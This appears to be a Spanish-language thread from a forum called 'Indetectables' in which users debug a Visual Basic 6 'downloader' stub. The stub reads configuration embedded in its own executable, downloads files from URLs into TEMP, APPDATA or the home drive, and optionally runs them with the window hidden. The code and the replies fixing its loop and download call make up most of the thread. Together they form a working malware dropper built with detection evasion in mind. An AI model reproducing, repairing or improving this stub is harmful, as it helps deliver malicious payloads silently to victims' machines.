Indetectables

Estoy realizando un Downloader siguiendo el videotutorial de Skyweb07,Todo me funciona bien Hasta que Realizo el Stub una vez compilado el stub realizo la prueba descargando el winrar pero al ejecutar el downloader resultante me sale el error siguiente Msgbox diciendo Run-time error "9":Subscript out of range

Les estaria muy agradecido si me ayudan ya que solo me farla el Stub para podet terminar y postearlo.

Aqui les dego el Code del stub:

'Las apis

Private Declare Function Bajar Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Private Declare Function Ejecutar Lib "Shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

______________________________________________________________________________
'El modulo del stub
Sub Main()

Dim YO As String, sData() As String, Data As String, tmp() As String, tmp2() As String, hwnd As Long

YO = App.Path & "\" & App.EXEName & ".exe"

Open YO For Binary As #1
Data = Space(LOF(1))
Get #1, , Data
Close #1

sData() = Split(Data, "Fuck")

tmp() = Split(sData(1), "COOLXD")

For i = 0 To UBound(tmp)
Next i
If Not tmp(i) = vbNullString Then

tmp2() = Split(tmp(i), "###$$$$IFER$$$$###")
Bajar 0, tmp2(0), Extraccionx(tmp2(1)) & tmp2(3), 0, 0
If tmp2(2) = "SI" Then
Ejecutar hwnd, "Open", Extraccionx(tmp2(1)) & tmp2(3), vbNullString, vbNullString, 0
End If
End If
End Sub

___________________________________________________________________________
Function Extraccionx(sRuta As String)
Select Case sRuta
Case 0: Extraccionx = Environ("TEMP") & "\"
Case 1: Extraccionx = Environ("HOMEDRIVE") & "\"
Case 2: Extraccionx = Environ("APPDATA") & "\"
End Select

End Function

Mal echo:


For i = 0 To UBound(tmp)
Next i
If Not tmp(i) = vbNullString Then


Bien echo:


For i = 0 To UBound(tmp)
If Not tmp(i) = vbNullString Then
Next i


Saludos

Muchisimas gracias lo modifique pero ahora me sale el error
error '9' En tiempo de Ejecucion
el Subindice esta fuera del intervalo.

la cuestion es que al depurar me marca el error que mas abago le indico en color Naranja
paro si lo cambio de posision empiesa a salir el error 'Nex i Sin For'



tmp() = Split(sData(1), "COOLXD")


For i = 0 To UBound(tmp)
If Not tmp(i) = vbNullString Then
tmp2() = Split(tmp(i), "###$$$$IFER$$$$###")
Bajar 0, tmp2(0), Extraccionx(tmp2(1)) & tmp2(3), 0, 0
End If

If tmp2(2) = "SI" Then
Ejecutar hwnd, "Open", Extraccionx(tmp2(1)) & tmp2(3), vbNullString, vbNullString, 0
End If
Next i
End Sub

Es que haber, creo que esa linea está mal de por sí... si vistes mi downloader de indetectables, pues el stub de este, la lína de descargar es así " Descargar 0, sp(0), ruta, 0, 0 " , Descargar en tu caso es bajar pero es lo mismo, luego está sp(0) que es el link, luego la ruta que yo la hice aleatoria en TEMP, pero que en tu caso sería sp(1) suponiendo que el siguiente item es la ruta, y el sp(3) que tu pones, está mal porque estás diciendo:


bajar URL &, Extración(Aquiunlugar(1) & aquíotrolugar(2) )


así que creo que suponiendo que la ruta de extración es el item número 2 , la manera correcta sería:

Bajar 0, tmp2(0), Extraccionx(tmp2(1)), 0, 0

Ahora una duda, extraccionx que és ? el nombre de la función que usas para desencryptar el dato ? , en caso de que no sea nada podría ser también:

Bajar 0, tmp2(0), tmp2(1), 0, 0

Y por si se te añade un espacio de más podrías ponerlo así:

Bajar 0,Trim(tmp2(0)), trim(tmp2(1)), 0, 0



Saludos